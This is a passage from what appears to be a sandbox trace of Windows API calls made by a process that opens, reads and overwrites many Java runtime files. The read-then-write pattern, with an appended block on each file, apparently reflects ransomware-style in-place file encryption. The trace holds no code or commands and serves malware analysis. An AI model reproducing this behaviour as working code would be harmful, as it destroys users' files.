lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.225] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1657 [0044.225] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.225] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.225] ReleaseMutex (hMutex=0x128) returned 1 [0044.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_ko.properties", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0044.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_ko.properties", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_ko.properties", lpUsedDefaultChar=0x0) returned 22 [0044.225] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1657, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f2bc*=0x1657, lpOverlapped=0x0) returned 1 [0044.231] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.231] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1bdf, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1bdf, lpOverlapped=0x0) returned 1 [0044.231] CloseHandle (hObject=0x168) returned 1 [0044.231] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.237] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.237] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xaa4a [0044.237] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.237] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.237] ReleaseMutex (hMutex=0x128) returned 1 [0044.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jaccess.jar", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jaccess.jar", cchWideChar=11, lpMultiByteStr=0x1e6338c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jaccess.jar", lpUsedDefaultChar=0x0) returned 11 [0044.237] ReadFile (in: hFile=0x1cc, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.239] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x9a4a [0044.239] ReadFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.242] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x9a4a [0044.242] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.242] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0044.242] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.242] CloseHandle (hObject=0x1cc) returned 1 [0044.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.243] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.243] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x28ef [0044.243] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.243] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.243] ReleaseMutex (hMutex=0x128) returned 1 [0044.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fontconfig.properties.src", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0044.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fontconfig.properties.src", cchWideChar=25, lpMultiByteStr=0x1e7fd2c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontconfig.properties.src", lpUsedDefaultChar=0x0) returned 25 [0044.243] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.326] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x18ef [0044.326] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.331] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x18ef [0044.331] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.331] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0044.331] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.331] CloseHandle (hObject=0x1cc) returned 1 [0044.332] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.337] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.337] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x500 [0044.338] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.338] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.338] ReleaseMutex (hMutex=0x128) returned 1 [0044.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cursors.properties", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0044.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cursors.properties", cchWideChar=18, lpMultiByteStr=0x1e7894c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cursors.properties", lpUsedDefaultChar=0x0) returned 18 [0044.338] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e179f8, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e179f8*, lpNumberOfBytesRead=0x2c0f2bc*=0x500, lpOverlapped=0x0) returned 1 [0044.343] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.344] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xa88, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa88, lpOverlapped=0x0) returned 1 [0044.344] CloseHandle (hObject=0x1cc) returned 1 [0044.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.344] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.344] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1aa8c [0044.344] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.344] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.344] ReleaseMutex (hMutex=0x128) returned 1 [0044.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jce.jar", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jce.jar", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jce.jar", lpUsedDefaultChar=0x0) returned 7 [0044.344] ReadFile (in: hFile=0x1cc, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.352] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x19a8c [0044.352] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.358] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x19a8c [0044.359] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.359] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0044.359] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.359] CloseHandle (hObject=0x1cc) returned 1 [0044.359] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\management.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.367] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.367] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x3711 [0044.367] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.367] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.367] ReleaseMutex (hMutex=0x128) returned 1 [0044.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="management.properties", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0044.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="management.properties", cchWideChar=21, lpMultiByteStr=0x1e786cc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="management.properties", lpUsedDefaultChar=0x0) returned 21 [0044.367] ReadFile (in: hFile=0x1cc, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.377] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x2711 [0044.377] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.384] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x2711 [0044.384] WriteFile (in: hFile=0x1cc, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.384] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0044.384] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.384] CloseHandle (hObject=0x1cc) returned 1 [0044.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\blacklist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.386] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.386] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xad2 [0044.386] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.386] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.386] ReleaseMutex (hMutex=0x128) returned 1 [0044.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blacklist", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blacklist", cchWideChar=9, lpMultiByteStr=0x1e6342c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blacklist", lpUsedDefaultChar=0x0) returned 9 [0044.386] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0xad2, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f2bc*=0xad2, lpOverlapped=0x0) returned 1 [0044.394] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.394] WriteFile (in: hFile=0x1cc, lpBuffer=0x2735c68*, nNumberOfBytesToWrite=0x105a, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2735c68*, lpNumberOfBytesWritten=0x2c0f2d0*=0x105a, lpOverlapped=0x0) returned 1 [0044.394] CloseHandle (hObject=0x1cc) returned 1 [0044.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\abidjan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.404] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.404] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x41 [0044.404] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.404] ReleaseMutex (hMutex=0x128) returned 1 [0044.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Abidjan", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Abidjan", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Abidjan", lpUsedDefaultChar=0x0) returned 7 [0044.404] ReadFile (in: hFile=0x1d0, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2c0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0044.405] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.405] WriteFile (in: hFile=0x1d0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0044.405] CloseHandle (hObject=0x1d0) returned 1 [0044.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Brazzaville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\brazzaville"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.417] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.417] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x41 [0044.417] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.417] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.417] ReleaseMutex (hMutex=0x128) returned 1 [0044.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Brazzaville", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Brazzaville", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brazzaville", lpUsedDefaultChar=0x0) returned 11 [0044.417] ReadFile (in: hFile=0x1d0, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2c0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0044.418] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.418] WriteFile (in: hFile=0x1d0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0044.418] CloseHandle (hObject=0x1d0) returned 1 [0044.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\El_Aaiun" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\el_aaiun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.419] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.419] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4d [0044.419] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.419] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.419] 